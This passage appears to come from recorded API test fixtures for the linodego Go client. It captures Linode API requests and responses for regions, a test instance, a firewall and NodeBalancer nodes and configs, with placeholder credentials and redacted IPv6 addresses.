1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-jip2798ozm24","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 49708272, "label": "go-test-ins-jip2798ozm24", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.4.126"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "6eb83ed887a5cd4920fbeb92ba8047f660ef74f4", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "741" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708272/ips method: POST response: body: '{"address": "192.168.159.139", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 49708272, "region": "ap-west"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.159.139:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441121/configs/670339/nodes method: POST response: body: '{"id": 516206631, "address": "192.168.159.139:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670339, "nodebalancer_id": 441121}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "182" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-node-test-def_r","weight":100,"mode":"drain"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441121/configs/670339/nodes/516206631 method: PUT response: body: '{"id": 516206631, "address": "192.168.159.139:8080", "label": "go-node-test-def_r", "status": "Unknown", "weight": 100, "mode": "drain", "config_id": 670339, "nodebalancer_id": 441121}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441121/configs/670339/nodes/516206631 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708272 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancerNodes_List.yaml000066400000000000000000000620751455402072200326120ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228212, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228212}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441122, "label": "go-test-def", "region": "ap-west", "hostname": "172-105-46-49.ip.linodeusercontent.com", "ipv4": "172.105.46.49", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441122/configs method: POST response: body: '{"id": 670340, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441122, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter 